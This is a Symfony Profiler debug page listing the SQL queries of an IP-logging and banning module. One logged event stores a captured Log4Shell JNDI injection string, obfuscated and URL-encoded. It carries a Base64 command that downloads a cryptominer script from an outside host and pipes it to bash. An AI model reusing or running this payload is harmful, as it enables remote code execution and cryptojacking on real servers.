Symfony Profiler

select 
  count(*) 
from 
  information_schema.tables 
where 
  table_schema = 'paa_securite' 
  and table_name = 'adressesip'

select count(*) from information_schema.tables where table_schema = 'paa_securite' and table_name = 'adressesip';

SELECT 
  t0.iid_adresseIP AS iid_adresseip_1, 
  t0.ip AS ip_2, 
  t0.tbanissement AS tbanissement_3, 
  t0.bAuMoinsUneAuthentificationReussie AS baumoinsuneauthentificationreussie_4 
FROM 
  Paa_Securite.adressesIP t0 
WHERE 
  t0.ip = ? 
LIMIT 
  1

SELECT t0.iid_adresseIP AS iid_adresseip_1, t0.ip AS ip_2, t0.tbanissement AS tbanissement_3, t0.bAuMoinsUneAuthentificationReussie AS baumoinsuneauthentificationreussie_4 FROM Paa_Securite.adressesIP t0 WHERE t0.ip = '3.144.227.146' LIMIT 1;

SELECT 
  NEXTVAL(
    'paa_securite.adressesip_evenements_iid_evenement_seq'
  )

SELECT NEXTVAL('paa_securite.adressesip_evenements_iid_evenement_seq');

SELECT 
  NEXTVAL(
    'paa_securite.adressesip_iid_adresseip_seq'
  )

SELECT NEXTVAL('paa_securite.adressesip_iid_adresseip_seq');

"START TRANSACTION"

"START TRANSACTION";

INSERT INTO Paa_Securite.adressesIP (
  iid_adresseIP, ip, tbanissement, bAuMoinsUneAuthentificationReussie
) 
VALUES 
  (?, ?, ?, ?)

INSERT INTO Paa_Securite.adressesIP (iid_adresseIP, ip, tbanissement, bAuMoinsUneAuthentificationReussie) VALUES (2550, '3.144.227.146', NULL, NULL);

INSERT INTO Paa_Securite.adressesIP_Evenements (
  iid_evenement, iadresseip, tevenement, 
  itypeevenement, cdescevenement
) 
VALUES 
  (?, ?, ?, ?, ?)

INSERT INTO Paa_Securite.adressesIP_Evenements (iid_evenement, iadresseip, tevenement, itypeevenement, cdescevenement) VALUES (874324, 2550, '2024-11-07 08:41:56', 1, '/t(%27$%7B$%7Benv:NaN:-j%7Dndi$%7Benv:NaN:-:%7D$%7Benv:NaN:-l%7Ddap$%7Benv:NaN:-:%7D//89.34.230.11:3306/TomcatBypass/Command/Base64/Y3VybCAtcyAtTCBodHRwOi8vZG93bmxvYWQuNHRoZXBvb2wubG9sL3NldHVwXzR0aGVwb29sX21pbmVyLnNoIHwgTENfQUxMPWVuX1VTLlVURi04IGJhc2ggLXMgNDk5YTZMTXZhbVdjdXFuVzd3bU1oNWlmTDFWU3o5YzNZUXAyUGNiQURGUDRhcjZhZDVldlBWUmV3QmZGcUhIUE5YVzRvclZlQVUxcmFVek1lVmZCUVozdFRwOEtaTEo=%7D%27)?url=t%28%27%24%7B%24%7Benv%3ANaN%3A-j%7Dndi%24%7Benv%3ANaN%3A-%3A%7D%24%7Benv%3ANaN%3A-l%7Ddap%24%7Benv%3ANaN%3A-%3A%7D%2F89.34.230.11%3A3306%2FTomcatBypass%2FCommand%2FBase64%2FY3VybCAtcyAtTCBodHRwOi8vZG93bmxvYWQuNHRoZXBvb2wubG9sL3NldHVwXzR0aGVwb29sX21pbmVyLnNoIHwgTENfQUxMPWVuX1VTLlVURi04IGJhc2ggLXMgNDk5YTZMTXZhbVdjdXFuVzd3bU1oNWlmTDFWU3o5YzNZUXAyUGNiQURGUDRhcjZhZDVldlBWUmV3QmZGcUhIUE5YVzRvclZlQVUxcmFVek1lVmZCUVozdFRwOEtaTEo%3D%7D%27%29');

"COMMIT"

"COMMIT";

delete from 
  paa_securite.adressesIP_Evenements 
Where 
  extract(
    epoch 
    from 
      current_timestamp - tEvenement
  ) > 24 * 60 * 60;

delete from paa_securite.adressesIP_Evenements Where extract(epoch from current_timestamp - tEvenement) > 24 * 60 * 60 ;;

select 
  count(*) 
from 
  paa_securite.adressesIP_Evenements 
Where 
  iAdresseIP = : adresseIP 
  And extract(
    epoch 
    from 
      current_timestamp - tEvenement
  ) < : nbHeures * 60 * 60;

select count(*) from paa_securite.adressesIP_Evenements Where iAdresseIP = 2550 And extract(epoch from current_timestamp - tEvenement) < 24 * 60 * 60;;